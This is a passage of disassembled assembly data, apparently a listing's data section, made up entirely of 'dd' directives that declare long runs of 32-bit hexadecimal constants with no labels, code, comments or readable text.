		dd 7D69FE34h, 0D7602DF7h, 2A5CAFF5h, 0F1CFF83Eh, 7790119Ah
		dd 4893FFDDh, 0B005495Ch, 2E0931FDh, 21DA8FC5h,	0FC314E41h
		dd 0FB46D1D4h, 6DFFB222h, 714B1B06h, 2BF017FEh,	0BBA06BCBh
		dd 24270144h, 2CA7F424h, 975B8AD9h, 500DE8D2h, 38C5B0EFh
		dd 66389D7Dh, 16BC4E3Dh, 0F1745F91h, 5D8D82CCh,	0D456905Ch
		dd 0FA376EF4h, 76BCCCE8h, 62978CD4h, 50087C9Ch,	0D0C1A021h
		dd 37715E6Ah, 0B51C3BD8h
		dd 8562B053h, 768AEDF8h, 93429001h, 5C37378Eh, 939B736Dh
		dd 0F6BFCA53h, 0ADC9FECCh, 1602B6EDh, 0CC1536B4h, 55E4B67Eh
		dd 0ED13C5D2h, 812BE96Ch, 0D47FFC63h, 7469A8F2h, 0FB1A101h
		dd 543B084h, 8728A1B8h,	0F9E9378h, 0CCF24C1Ah, 577D7CF6h
		dd 0D09D7E40h, 650F0655h, 0DBF6951h, 0B078C794h, 0A11025BDh
		dd 0A87CD623h, 35FB03Eh, 50307702h, 938D5B3Dh, 33D56644h
		dd 8FD55826h, 73D7E2DCh, 7923F9A5h, 0D3340375h,	8A434CC5h
		dd 0F47736F3h, 0F7E70AF4h, 76852421h, 684CF60Fh, 4FCE238Ch
		dd 0E0D5D173h, 0FFD61003h, 0D1F30B53h, 9CFBF3EFh, 70F172BBh
		dd 0EE206466h, 8699E7F3h, 54800A76h, 0AF61516Eh, 12B19509h
		dd 10D6ADE8h, 0BAFD4CD8h, 76C80F8h, 2C08FD61h, 0EED2B71h
		dd 544BFB51h, 0A6670F12h, 94E27E8Fh, 0D7DEA1F0h, 29DA1CDh
		dd 0F744DAEAh, 0CB9BB396h, 2D2C12FDh, 7831F0CEh, 16DC5EE9h
		dd 54DC3BEEh, 0BEAEA7BCh, 9FD05CCFh, 32C52BBDh,	9E805F86h
		dd 22FA42C8h, 46182248h, 0D0D21D73h, 0A5213B10h, 0F929C6FFh
		dd 9417A92Dh, 4BF411CCh, 47373F30h, 161434DBh, 528F569Eh
		dd 0C8D703BEh, 0CB6ABD33h, 0A6465284h, 1118C05Bh, 0E444E45Dh
		dd 0D90CA523h, 0B69F0BB8h, 0C73409F7h, 2A352067h, 34711B7Dh
		dd 36C8429Fh, 86167F0Dh, 3B89A29Dh, 9CEEED15h, 0B3FBB622h
		dd 0C11B4374h, 0B68710ABh, 1C14CD64h, 59DAB914h, 91FF7B3Bh
		dd 948CE70Fh, 0B6E3E89Ch, 85E7018Eh, 8AE3A72Fh,	848AF0D7h
		dd 0E877EBC8h, 0CCBEE7B4h, 748A9E7Ch, 7E4B2A8Ah, 0E632E214h
		dd 0A138160Eh, 162586B0h, 0F557E5ACh, 0E8D19320h, 4DF748ADh
		dd 6D897BA4h, 0ACACF22Ah, 0A33BE83Dh, 7559159h,	86081BA7h
		dd 0AA182FAEh, 0AE7C694Bh, 0CA003A37h, 0A8F19C75h, 5495FA4Ch
		dd 26763BFBh, 6494F116h, 222B4C4Ah, 653ACBC0h, 83DAA881h
		dd 1AD2EB45h, 2F3F86D3h, 0B47EDB3Eh, 0EA0A337Bh, 0AB794DB3h
		dd 8D007F82h, 1D543999h, 1DA95836h, 876713D0h, 0E511893Ah
		dd 5D30AC75h, 2A67D25h,	3688814Eh, 5ACAF8D1h, 0AD7BB334h
		dd 0C056D487h, 52145D06h, 60A1D58Bh, 44D60B4Fh,	340672E1h
		dd 1A2A86E3h, 7B7D1B2Dh, 79CB3157h, 6FAE4DFEh, 0D2313A49h
		dd 0A7292639h, 9F948347h, 4DAA31C7h, 32E239Ch, 0EFF8F603h
		dd 2B34D806h, 0BCC7B1B0h, 5CFA29BBh, 0B997DBC3h, 0B0575EC0h
		dd 2B9E95Fh, 9779D0C9h,	0B73EB0F2h, 8FB87374h, 54270DB9h
		dd 0EB89C6D5h, 0F6D75437h, 2847A820h, 2D879B93h, 2F844989h
		dd 316643A6h, 8AE2E027h, 8DA14B8h, 747EA64Ch, 1CCB98DCh
		dd 9370F48h, 9D567921h,	35DA3FE5h, 0D1ECE419h, 5841BE84h
		dd 6D0741B3h, 0C95B8F49h, 659A5206h, 0EBC7D7D8h, 7116DF02h
		dd 0CDF2647Dh, 0EA748550h, 59024660h, 0F2835ACBh, 1AF6E7B6h
		dd 31F5F44Bh, 0BC02E50h, 5E6B2EE1h, 82B4E9D4h, 94FDD315h
		dd 0E121F9E3h, 1D61613Fh, 0D246109Bh, 0E50C217Dh, 0F24D0D68h
		dd 0B3F73C7Dh, 0B7A436BBh, 0D4324DCFh, 0F23E6FF1h, 569BB21Eh
		dd 0D740B38Dh, 4B8A7509h, 0ACD7B510h, 0E5D9B1DDh, 0B448A12Fh
		dd 6AB09154h, 0E566DC16h, 65B5315Fh, 9480395Eh,	518858CCh
		dd 0EBA5C11Dh, 0FF4807BCh, 0CEA87914h, 32451465h, 279F876Ch
		dd 0A6DE9AEDh, 0F13C6FBBh, 2397F292h, 22E25D18h, 0DFE6C2B5h
		dd 25A3179Eh, 8ED3FB16h, 0E3FEF74Ch, 984CE89h, 9DA725DCh
		dd 0C1BB60D5h, 2C15B1FBh, 0A802D273h, 3F9E6CA4h, 0BE2FFC3h
		dd 84DC47C2h, 0BD82668Eh, 8897771Ch, 679786F6h,	86BFBE80h
		dd 0EB45B116h, 0C0648305h, 0F5B928EBh, 0BE460EBBh, 5E9156A5h
		dd 0A6CDFABAh, 6EA12009h, 6A9285A1h, 0F34A1DA9h, 8F80D266h
		dd 20172CEEh, 9C2DD4EDh, 1BC69082h, 9D122582h, 3E5C6181h
		dd 0DBCCD01Ah, 0C50DE9D9h, 1CF3DAFBh, 656AE6E3h, 0D82655Ch
		dd 10EA9433h, 9DF40CA7h, 5723E97Dh, 24991AD5h, 0E2F11C49h
		dd 0A4004131h, 1500A354h, 3B57E15Ch, 0D72FD1AAh, 4DF1E798h
		dd 0B4D5331Ah, 9362C1B8h, 0F43CE632h, 0CADBAA73h, 923A54F9h
		dd 9666FFC3h, 47548970h, 0D0EE3122h, 0AFDAAEDFh, 0F6A4395Dh
		dd 7417EA12h, 18C27167h, 0E3CF17D5h, 667E1230h,	3EA122DFh
		dd 7410DD1Fh, 764253B4h, 0D9030A29h, 507E3F7Ah,	0A0E47536h
		dd 569CBDE7h, 0C2CE8EB0h, 5FC74C1Eh, 8FC78E21h,	21351C72h
		dd 86A70E79h, 141EA581h, 0A311F303h, 0E6BD6D7Eh, 0C08B8C8Dh
		dd 0BBAC4E0Ah, 9AEAA6B4h, 28220BAAh, 0DC01BB8Ah, 7274989Bh
		dd 9318213Dh, 2A201BC1h, 4EEEC2D4h, 43308852h, 0CDFE3E95h
		dd 65B99E55h, 287D6A4Ch, 0EAA3500h, 30BC22D2h, 0EC232EA6h
		dd 0BEC87AC7h, 8663FFDFh, 0B2C4D84Fh, 0F10ADE3h, 0F83C4FACh
		dd 0EFD550F6h, 0A74C18BBh, 4B6E71D8h, 0AAD32B49h, 3D20E3F4h
		dd 0A1BA4881h, 0F3751201h, 0E573DB2Ch, 5ED822B5h, 445A979Ah
		dd 3FC74A35h, 0DD4E4FFBh, 387CF1C3h, 57B78EE8h,	0E5D14ABh
		dd 6262733Bh, 520B6665h, 3507DEF3h, 7572B551h, 2DD0FF9Bh
		dd 5AC93D04h, 40BDDAF9h, 114FA797h, 0B9590A23h,	5B1BD4BCh
		dd 0B14D2427h, 96C7E89Dh, 8D585A00h, 0E05B26C7h, 84666FB9h
		dd 29284C38h, 6EA6F4A2h, 20693F9Dh, 0B311F909h,	0F2C8A52Ch
		dd 3DFDE7C3h, 1EEEE2B9h, 0C71FEFF7h, 0B54A52C8h, 0BD6E352Ch
		dd 0AAC9FFC0h, 0DCACA766h, 0CEE31D20h, 57A6DDAEh, 832A2ED4h
		dd 0EA2B0622h, 0E155E963h, 0BAFC5ECBh, 0CC6E1D31h, 0B1C2ACE6h
		dd 83A7A810h, 8CD786F1h, 3422EC94h, 0A665CF7Eh,	0D0E35936h
		dd 0A84B9587h, 174546B5h, 6BB6E0CFh, 302ACBBEh,	9A9694B4h
		dd 503818B5h, 683AAEA2h, 0FB3FAEBCh, 2008A6FCh,	367BFAB5h
		dd 0E9F44D00h, 9920FECCh, 92B29B07h, 0CAC68EDDh, 0CCD5D4E0h
		dd 4438EFE6h, 9584AD77h, 3D79D63Eh, 8A08D863h, 3D022436h
		dd 83AA9555h, 54DCB8BDh, 0C060693Bh, 8B979865h,	0C005DD4Bh
		dd 36DB7FDAh, 31B0577Ch, 52CC6D83h, 80C56FC9h, 5BB66E9Fh
		dd 8B62DAD6h, 91539E1Ah, 0E30743Dh, 0D3965C5Ah,	6F481800h
		dd 198FB00Ah, 0A4FA546Ah, 87E9B36Eh, 80F8F5EBh,	0BB4BCD83h
		dd 0A4677030h, 0F1635A79h, 953736BAh, 3DDC729Dh, 861FCA49h
		dd 862BD236h, 425217B7h, 112139Fh, 75B52D2Ch, 25ED4BC5h
		dd 0FF6AB170h, 75D800h,	0F9DFD27Dh, 7DC917Eh, 1F413636h
		dd 0F0240C2h, 55B25DB4h, 0DDDB99h, 7137F054h, 0F91728D7h
		dd 99CFF5BEh, 9D294ECDh, 9DA748D6h, 0C05FE18Eh,	0A7F92163h
		dd 0CE66C3F8h, 2D9F5942h, 0C021B688h, 0B555CB62h, 0DFBED96Dh
		dd 0A9A49B37h, 0F9A24336h, 0CAFBAAD1h, 14248251h, 0EAFFC822h
		dd 0A646B8D7h, 39FB7811h, 17E65B47h, 0B04E7137h, 0E3F160CCh
		dd 0FA13C8E6h, 1FC34B2Bh, 0E6DBB165h, 0EF772889h, 0C33585BDh
		dd 0F7AC7AF1h, 0D70FC47Ch, 0C72A2CEFh, 3B9DFB82h, 8FA3C301h
		dd 737CB5B0h, 0D0BF8DB6h, 0D9E20F51h, 0E6764ECAh, 6BF5AD07h
		dd 0BA2CD8F3h, 1159A5D7h, 76EF8D9h, 9C751E87h, 5BF26981h
		dd 0A7483D35h, 0B8BE5DB0h, 7785D914h, 0A7D9C617h, 9FCD147h
		dd 0DC5FB3FFh, 52F9A19Ch, 0FF188325h, 8EE6E66Ah, 0D4950DA7h
		dd 0F162CE4Ch, 0E6812BD5h, 0C193870Dh, 8D30AC59h, 0F34C91E3h
		dd 2180FFFh, 4E5A7D82h,	11612D0Ah, 5048B53Ah, 0DDE93382h
		dd 3564CF55h, 42B78A56h, 0A104CC58h, 0B40C924Bh, 0D5727BF6h
		dd 37D98C4Bh, 0C9898D47h, 0DE3B9770h, 0F0E4456h, 4544AA1Eh
		dd 138741BFh, 449919D7h
		dd 0BE86DAF2h, 550A6668h, 47851BF6h, 27D841CFh,	0DB09087Dh
		dd 5F6F9EEDh, 0B0530629h, 33574F43h, 0BCE83909h, 0AAAB5950h
		dd 8AF9CCA5h, 2AC9F8A8h, 64657CC6h, 0C4E2311Bh,	0DE14EEEDh
		dd 0C1ED86Eh, 0C38957Ah, 62840B3Fh, 0F1F91486h,	0DB115FA5h
		dd 7B921431h, 747771DAh, 0D922AD93h, 803C7437h,	2CD14A81h
		dd 0F1702AD1h, 4A40F77h, 66983D01h, 2518CFEAh, 5399347Eh
		dd 8F8C1DFEh, 0A361B7F3h, 3B07865Ch, 5E47B986h,	289E564Ah
		dd 916C358Fh, 9817617Dh, 0D4F71874h, 89D40520h,	6AB0077h
		dd 10214F2h, 0CEEA5A8Eh, 73F882DDh, 2A3D27B0h, 4536380Bh
		dd 0C6DB3725h, 3684A7Ah, 2D1AEB9Ah, 35FB7907h, 8482A8F7h
		dd 0AFBB692Fh, 0F96828A9h, 3A34420Dh, 0CB7E939Ch, 3DAD1FFDh
		dd 7AE78C1Bh, 223D1B50h, 61069FB0h, 2F3AB113h, 8CA722E9h
		dd 0A6AFEE75h, 38B764E5h, 1D5B8444h, 965668FCh,	8AE3A497h
		dd 0B76BAB31h, 7DEBBE76h, 0ECBFF6F2h, 2D592C34h, 4E22428Fh
		dd 0B6B2F199h, 558A6658h, 0D55052A3h, 7BE9ADF3h, 0A270A4C8h
		dd 8C60237Fh, 0E9239BF7h, 35C5B538h, 171865A3h,	0D023B4FEh
		dd 0AB5ADE5Ch, 9CA12F1Fh, 7084BC3Dh, 427F7658h,	33857694h
		dd 0F1CC8010h, 3275D9E2h, 7A241899h, 0A3C862F2h, 0B79D3DFEh
		dd 0EC820FFAh, 0C1D742D3h, 92F01809h, 0DF8EF97Bh, 1410E24Eh
		dd 0AE02A336h, 9DC2BF39h, 667DD0C4h, 877E9B53h,	0AED4240Ch
		dd 8FC51946h, 4F3CD2B0h, 60D3D9B7h, 3D7D4171h, 81ED084Bh
		dd 6F5CB63Bh, 0B4E3D73Ah, 0C7F8A6B3h, 27E58EB6h, 0AE5A6DAAh
		dd 0F8B564ACh, 0FE896E21h, 6B591957h, 208CF500h, 2CF4E828h
		dd 0C01FE596h, 3882EF47h, 0D02F164Ch, 2E6FF6FFh, 0BD687924h
		dd 0DD0C034Bh, 0A88D52EEh, 0DCA6AAF3h, 8AC3F72Bh, 9F5A5BD3h
		dd 0ACB812EBh, 0AFC0A53Ch, 14273003h, 34A8F93Dh, 8EA876F5h
		dd 11E98798h, 90710F70h, 17927CA1h, 0D3CA4FF1h,	40804FEh
		dd 83C43D9Eh, 84A1806Ch, 8B1A2967h, 0CE5B3B68h,	0F698FDDAh
		dd 0F876572Ah, 89C5DDADh, 2BC48B77h, 5102DC03h,	58A85612h
		dd 84BAF1ACh, 42E22B0h,	38CA06E9h, 0FDE819ACh, 0D0904E32h
		dd 0D1A7CDD1h, 7144C5B5h, 963C6096h, 441C14EDh,	10883C63h
		dd 5552F5F6h, 32BDB9A8h, 5618A97Dh, 86EF0699h, 57DAA60Bh
		dd 65666B9Fh, 0FEC66366h, 1C81781Fh, 5BD99A27h,	551DAD31h
		dd 422146A7h, 0F975189h, 307D6C07h, 519D0BC0h, 0A526F931h
		dd 0A180AE41h, 0C083DAC9h, 153E33B8h, 91E9ED21h, 6573C21Bh
		dd 667FAC0Dh, 2FEC466Ch, 0F9EB02F2h, 6FB2CAD5h,	71FAD9CAh
		dd 0A64E1103h, 0B3F50444h, 5584EB27h, 56DA0594h, 0A60045D2h
		dd 810CAE6Fh, 0EDB6C201h, 91DC9632h, 46E8EF15h,	9380BC31h
		dd 0BA620568h, 6D4E971Ch, 639E42D2h, 41624782h,	4CFA57E8h
		dd 0EC262509h, 0F9F628E7h, 0F2BD0756h, 0F9578097h, 6948C6A5h
		dd 0D6227CFh, 40D98804h, 0BA56A9BCh, 0BD9EC249h, 4A3CEBB2h
		dd 170D401Ch, 9100FA84h, 0F82292A8h, 0FCD9FCB3h, 391E32BBh
		dd 64CF3803h, 0B267F93Eh, 59C8ED15h, 0CAA5349Fh, 891E2974h
		dd 7D5D6725h, 0E16FA344h, 5CF70979h, 0C9857A93h, 2846F18Ch
		dd 0CF878A0Fh, 889BA59h, 0A650A617h, 12433811h,	3E54CC01h
		dd 0C7D5C663h, 0C777E1CEh, 93F3F777h, 0EC3DB81Ch, 0C2021C1Eh
		dd 6F14CF86h, 1233D4C9h, 3B94B88Eh, 1EC1EEEh, 0CC903E23h
		dd 81C387F9h, 0F401DC36h, 0D41A9E75h, 9DC50C2Ch, 0B2B2BCAh
		dd 0FCFCE92h, 9AB9DF5Eh, 12309657h, 3EDCFA50h, 494354C6h
		dd 11CEBBC5h, 35605521h, 0CC8452D0h, 0E578ABCEh, 0C021737h
		dd 647FE569h, 0E80BCA4Dh, 0E6325C78h, 60FE548Dh, 0C010A200h
		dd 0FAA20074h, 53CC61A9h, 0C455BF8Dh, 31DB4217h, 4261D499h
		dd 0A2BF4A04h, 0CE8051ABh, 1B5FA2EBh, 0CDBA700h, 8271C8B4h
		dd 6DA307A8h, 69DB7EBBh, 530B4AD2h, 0FE0349DCh,	9A40C56Ch
		dd 86C03CE4h, 0F02787ECh, 79B92C9Eh, 0AA427254h, 0C8C06158h
		dd 0C274E187h, 9C6C84C2h, 0E25FA5Ch, 0CF76152Dh, 2EDC9371h
		dd 3E8E8CF7h, 9EE5D9F6h, 87D16C17h, 0E9A881FCh,	0E343F210h
		dd 6B7EAD5Bh, 663998E4h, 0AF8F63FCh, 0C68C67ACh, 8A419D91h
		dd 5E743EBBh, 0BCDFE3E6h, 62067A82h, 38E75620h,	9CB8FA3Dh
		dd 7BBD259Ah, 20B6858Fh, 0A02E829Ah, 18915F1Bh,	0C192D201h
		dd 8E1AB77h, 22F2D7C4h,	30B56754h, 0F80D06F2h, 56079807h
		dd 18030027h, 0F1B4AEF3h, 31A2A601h, 98363DF0h,	6667D66Ch
		dd 2F6E9A11h, 0E40D6779h, 37D048h, 0DB4438B2h, 535A5982h
		dd 6ED2539h, 0B588A4BAh, 0D71B8CD0h, 3B860E43h,	0D9838CDBh
		dd 92AD422Ch, 0B4864B3Eh, 0C27724B8h, 92E044F2h, 0A8690A27h
		dd 2CC3F177h, 8CB89BF2h, 0C4FF99BCh, 94C0021Bh,	3700F941h
		dd 0BC54EA35h, 1E7C8668h, 0F4B6B637h, 0B516069Bh, 33B294B4h
		dd 9EBD112Ah, 8B3E0788h, 5DA2402Eh, 0FD72DAA6h,	63246B0Bh
		dd 4668E0B5h, 0EBB87C2Ah, 4FBE25CFh, 8B652D25h,	5C217D5Ch
		dd 24BD8344h, 34B97413h, 1E0C2757h, 0A90039D5h,	7C8049B8h
		dd 64706BC4h, 0CEE4F31Dh, 53FCDA70h, 9EE4BFC9h,	26395F1Ch
		dd 0A7A11782h, 6469ADB5h, 3E834201h, 0B2B11232h, 67DFC30Ah
		dd 0F4A50CD2h, 0EEF560ADh, 48118AF0h, 22D12336h, 72CE9C1h
		dd 2E833A78h, 0B225A937h, 8FE195B7h, 4C2EF68Ah,	5F4F050Dh
		dd 931959EDh, 806A5E4Fh, 3E44F186h, 0EDDBD288h,	0C6C8BCB0h
		dd 0CD4E9313h, 185AF687h, 0F6005E33h, 0B9B90709h, 15EB595h
		dd 7C851647h, 9C8E24FBh, 94A1EDCEh, 9CA085BCh, 5B0C3967h
		dd 10C324ACh, 92ABB7ABh, 62436D5Dh, 0FA187CABh,	0B7F315E2h
		dd 0A2E5C837h, 28FA3C5Fh, 431A059Fh, 7D0612CAh,	81CF3189h
		dd 693E6854h, 43A6C9C7h, 90EEE054h, 0EAAB3D96h,	75870B54h
		dd 0D65265F5h, 68B9528Dh, 8E24C607h, 4E26616Bh,	0C1CB688Bh
		dd 811D7E30h, 5778DCF2h, 7466E8A2h, 0AAE0525h, 56F6EC9Dh
		dd 0A1D43629h, 8BFF3E1h, 0EB7B24D5h, 8918FF26h,	0CC127C0Fh
		dd 0D17DC24h, 0C6434EEEh, 0B6E4D133h, 0BD2532D0h, 0BC12BDACh
		dd 56CB1A12h, 4441FB22h, 0E6771E66h, 0A5C90h, 0B6A4E6D3h
		dd 14C2B9Dh, 0E216822Ah, 48B4AC78h, 121EC31Fh, 520743FCh
		dd 57AFADC4h, 8B4E869h,	0D43D7B96h, 0D8EFCF71h,	6920385Fh
		dd 0CD6DFD33h, 77F3C313h, 5289F6Ah, 147A944Ah, 3C31A31Ch
		dd 0BF7B17B1h, 0C6466134h, 5E0BBC72h, 83AD4C79h, 0ACC55EB2h
		dd 3245EDE5h, 38442FEAh, 251517D3h, 0BF36CED6h,	8089F2E0h
		dd 0F12333E2h, 9A8C5D15h, 417B2753h, 1EC623B8h,	74EB4195h
		dd 5F032EE3h, 992F4FAEh, 3E201FF3h, 412B0EDFh, 0C2830E27h
		dd 0A18D6374h, 8D2CD8EBh, 4E9BD3BDh, 0FEBF9DFFh, 42FBC575h
		dd 6029B178h, 9014C45Eh, 0B56A6D02h, 50340947h,	0CE5839FBh
		dd 0FD4847F8h, 67AC8A67h, 0F92AC933h, 95A69AF8h, 41ED3E04h
		dd 0F2F1512Bh, 0D36E4C57h, 29FDDF5Ah, 4AAFB78Eh, 0BBC059h
		dd 0A78BB00h, 46D14290h, 3CCD59C8h, 13A5F9A0h, 0CB0A8E5Dh
		dd 0EE2A7983h, 0B889CE49h, 9F0B57A0h, 0F6AC8D96h, 4BC8E2A7h
		dd 4341B0EBh, 90F4901Ah, 0AF3190F1h, 3CD4F3C6h,	49710C05h
		dd 0BDEBBB46h, 0E0BB3DE3h, 34B22603h, 8128BD7h,	590C736h
		dd 2D892C95h, 0B9042C2Eh, 4BB3190Dh, 5540A7DCh,	8EF06B3Fh
		dd 8B395C13h, 1D11DF91h, 0A25C50E4h, 0B0CB3FA3h, 43F00469h
		dd 9F7A7ECCh, 0CAF053E0h
		dd 0FCF05F9h, 89CA54C8h, 88C1C85Fh, 0AE46E2Fh, 965121BEh
		dd 9AA87426h, 49A8DF5Bh, 157FE091h, 0F1426BBBh,	19EDA8E5h
		dd 8C9F260Bh, 0D585855Eh, 72ACF785h, 9FF91653h,	0A8C50322h
		dd 0C47D75DDh, 9D57815h, 4673F6E1h, 1C8B843Fh, 3D337097h
		dd 0F98DAA66h, 99B75B3Dh, 39B23E66h, 68AF22FFh,	0D2212180h
		dd 92078009h, 0AFB91116h, 1FD0DE7Fh, 0FC04CABAh, 0C2739480h
		dd 17675A64h, 0B94D1CACh, 1611E9BEh, 2866512Bh,	4582A31Fh
		dd 0D17E2F66h, 0C0FD148Ch, 8499D2BAh, 0A9B712C3h, 0F971847Eh
		dd 4D9C4E17h, 638B229Eh, 583F9884h, 0CA0551A3h,	2A004092h
		dd 75471EC7h, 8984F3CCh, 3210F905h, 0C746B8C9h,	20C22FBAh
		dd 0BEBD179Ah, 0AF540B5Dh, 21CC097Eh, 0F8DBFDE0h, 0A37D64AFh
		dd 365D4E63h, 4CC89756h, 0C62D8F1Dh, 0F51BF7C3h, 78435CACh
		dd 0F218257h, 20E75CA8h, 0D5AE1BD5h, 0A670DCA0h, 792FABD1h
		dd 3AF7EF60h, 4111D249h, 8BB3F931h, 0D7E03837h,	48D2CFBEh
		dd 9FF7C9A0h, 16C81F19h, 99A4D3CEh, 0BE564C1Ch,	0E9423B62h
		dd 0E6EFE8B0h, 1CCAA4FDh, 373C19D3h, 1813C1C3h,	4B3303E7h
		dd 0DFAEF499h, 67BF697Ch, 428BB594h, 0A471B46Bh, 6C7A4843h
		dd 9242DCCDh, 0C3BA98A7h, 26B257F7h, 0A3644959h, 9D05345Bh
		dd 0D28153CEh, 100D112Ch, 0F88905B6h, 919C7C46h, 0F56E086Ah
		dd 0FA38FE5Ah, 0B163300Ch, 403BAE43h, 0B3BA7E1Fh, 6BFC3C3Ch
		dd 0E0568293h, 66D32E31h, 4920950Dh, 9E6E4ED5h,	2506585h
		dd 47102E66h, 2D170A75h, 95FC8CCEh, 372563D2h, 0C7FED848h
		dd 11CA24D3h, 0D5DADB5h, 0A29B394Bh, 197288DCh,	20E90B8h
		dd 51886588h, 0FC4E835Ch, 29D48B12h, 510D9F0Ah,	27F32638h
		dd 0C2418669h, 0E563FFEFh, 9CB669FCh, 6DB80F0Eh, 4954A6D6h
		dd 19CE4858h, 216EA5D6h, 0FF6712DAh, 2D614C86h,	96F1BF95h
		dd 0F43720C4h, 88F93D64h, 6DF876FCh, 2B27780Eh,	0A1CD5745h
		dd 84D06F50h, 0DB770B24h, 0D8E3AA40h, 0D2DA81C3h, 5F968D1Ah
		dd 2DAA322Fh, 0E48CA583h, 0E903D206h, 0B423D926h, 3C0FF3ABh
		dd 2B4EA115h, 281AFCC4h, 7E5F4FB0h, 0E84C67C5h,	0ADAA1B5Eh
		dd 3FBB380Dh, 81D0B787h, 942F12C1h, 32F4DFFDh, 3A497036h
		dd 0BC010E15h, 9A039393h, 1BF50007h, 9E0F7DACh,	5B2244DBh
		dd 0B8006756h, 21368FB6h, 6D93A475h, 0F7B84799h, 0F042977Ah
		dd 46011194h, 0B8F6A91Fh, 5B69BD90h, 0F378B1A5h, 7CB89786h
		dd 956CD931h, 5E35B92Fh, 8CB226BBh, 29990C36h, 0B8AEC7A0h
		dd 0D7E2021Fh, 0C874C9E2h, 836D1A74h, 7F03EFE5h, 0A0A0F88Ah
		dd 0E04A8D58h, 0A2AE216Bh, 0C01D208Fh, 43B69955h, 712F02BDh
		dd 6C0692AEh, 82A5F638h, 0BF39E2B1h, 73531449h,	4628DB71h
		dd 0D4F2EDBDh, 0AD49DBB4h, 0EA52D2BAh, 1A118A85h, 0C152FD76h
		dd 70DD8F1h, 7F3E3E08h,	0B61CD834h, 0CC555822h,	9F2F3CBh
		dd 638FA8D8h, 9CC3D0CCh, 7BF6B093h, 0C03B9F1h, 762D7DBAh
		dd 0ABB3175Fh, 4A823F70h, 82DC71A0h, 5B97F6CBh,	0CA27969Eh
		dd 0C7ABEECh, 0B8D6D1E6h, 0E4C86F67h, 0E457F53Ch, 9AFEA838h
		dd 70F9354Ch, 14768415h, 0D334AA3Dh, 2C049DC8h,	8EEDDCC8h
		dd 0F5B0A3B8h, 47C66228h, 860A1BC0h, 0A11E2E3Ch, 84C744h
		dd 0A6FB8908h, 6068626Ch, 4F4A9718h, 474E66C1h,	95FBCFDAh
		dd 0D5E30D34h, 64CA6D71h, 0B0C1A1CEh, 0F074C511h, 783C2379h
		dd 962E2F33h, 0DFC6AC5Dh, 0A38F07C3h, 63FBBE30h, 0F77481Eh
		dd 0D5E122A1h, 1D71CAB4h, 0A344EC74h, 183A0BDAh, 0E84D7F49h
		dd 271B1621h, 0BE885613h, 0B1D5E95Ah, 8C2DBAF9h, 0E6AA47B8h
		dd 6D2064FBh, 0ED329B5Bh, 5E1B2CE7h, 6B903787h,	84174750h
		dd 78CD67B8h, 0F3576506h, 4506AFFFh, 15D0E333h,	9BD03178h
		dd 2E524F2Ah, 33315AC1h, 0B7F3B4D8h, 2F700B33h,	0CD5996E2h
		dd 98153014h, 723C0D39h, 0EA91F1C1h, 19516F92h,	0CEB5EE04h
		dd 4F60432Ah, 25C38382h, 0BE4013E2h, 0A8027B56h, 0D8B9594Ch
		dd 18CDE693h, 0C4F23CDDh, 397CF23Ch, 0B1A1F824h, 0E68B2C56h
		dd 0B28EE901h, 6F4F7553h, 93C3979h, 905C9F51h, 69643900h
		dd 0E6EA5078h, 0BF2421Fh, 16713D6Fh, 0A0946AFBh, 7C3E6A23h
		dd 0D6C2A894h, 7C55775Ch, 876FA401h, 4012BBA6h,	2137EFD5h
		dd 7DAEA723h, 63791650h, 67BAF3BDh, 4B3B6668h, 0F5FAE425h
		dd 47338098h, 8D816BD2h, 0EE060AA7h, 951B6DEh, 8B1CC5BBh
		dd 34C2E258h, 68C07DBCh, 64C3A632h, 4960DCF5h, 0CBB1317Fh
		dd 49AC963Fh, 8739A9Dh,	3D8DF7D2h, 8AE58F5h, 5A325A4h
		dd 216D8F4Bh, 99E6FC94h, 0D55B4EA9h, 12ED9942h,	39F04FE3h
		dd 0F05BE712h, 0FC28A5D9h, 0E7D25206h, 4F8C173Bh, 84AA5688h
		dd 0B63F12ABh, 1643CB7h, 6229B824h, 0D6B8F777h,	8BE071DFh
		dd 0F6E62D15h, 48C77FB8h, 9C147048h, 5C13091Bh,	4D3F6DD5h
		dd 0F80BC33Fh, 0F2AFB8EBh, 515CBE4Eh, 0B49B8297h, 49E2DE71h
		dd 0EA143981h, 0D36DAA72h, 3AECDD24h, 718FC76Ch, 706FFCE0h
		dd 0C4D58B90h, 2BB780D4h, 0FC4D2F31h, 0BE7DD910h, 698537A0h
		dd 0B17D1DFFh, 0E8A4709Dh, 742CBA6Ch, 0ED12BD6Eh, 5108ACAFh
		dd 0F6DAA3AAh, 0F46BE96Eh, 0BC12F1C1h, 4CD7580Fh, 93C2DF04h
		dd 0C71B277h, 223B61FBh, 2A0047E5h, 0DA998ACDh,	46007186h
		dd 7A5FF9C7h, 0E6E3F924h, 4DDE6612h, 0CBF390A7h, 0FECB485Ah
		dd 0A8E0B3C0h, 8D79CA29h, 2A89567h, 0E6F6E5E8h,	9517A7Dh
		dd 1F6F0F26h, 48285ABBh, 0EC55762Ah, 3D6B9C46h,	2DF4928Eh
		dd 0DDBB673Ah, 6D62CCFFh, 623432D5h, 493B6FFBh,	0DCDD43B7h
		dd 4389FB62h, 0EE1A70E0h, 90500869h, 0CF0E2208h, 5B08D8E9h
		dd 5EB9C18Bh, 73EE7C9h,	9C525061h, 1C6519E0h, 0A7506089h
		dd 0F26D3D7Ah, 16438285h, 0BC018D46h, 0CF2F807Fh, 0CAFCE619h
		dd 0B036A548h, 5ABB7C6Eh, 874F957Ah, 63EC5891h,	0ED847BB6h
		dd 1E78445Dh, 2811C623h, 7FFA40BFh, 5310B2Ah, 4CB0439Fh
		dd 2BC75E07h, 64B30708h, 17D501E5h, 66DEA2C3h, 0C8A99459h
		dd 0B4D32C0Bh, 45DB7932h, 0D07E0167h, 0E7BE2249h, 96D331A7h
		dd 0B95F88B1h, 5147E020h, 0A621B955h, 1BD606B9h, 0C1833C65h
		dd 0AD068A67h, 0B8934091h, 0B51BBC9Dh, 0A567B761h, 0BC360851h
		dd 0C23D1D4Eh, 0E6CE011Bh, 6B6DCB85h, 5975C6A6h, 0FEBB6861h
		dd 1DC8037Fh, 83003A52h, 0E49D3A3Ch, 0F9768FF2h, 0FDCCE93Ch
		dd 0A60C9A76h, 72D1E778h, 5E09FA6Ch, 64E9FB1Ah,	4D08236Ah
		dd 96E731Eh, 0ACC909F0h, 0BEFA235Ah, 0B494511h,	7C206F6Bh
		dd 0C6597DDh, 0C1EE0817h, 4BCD5BF3h, 4A423627h,	368A8ADh
		dd 524E9429h, 0C4BE7BB0h, 347C7EEh, 0A7938D2Ah,	0A7A68AD4h
		dd 43A6F241h, 6897F48Ch, 0C9AE327Ah, 0F0EC7EA6h, 2C9FE3F1h
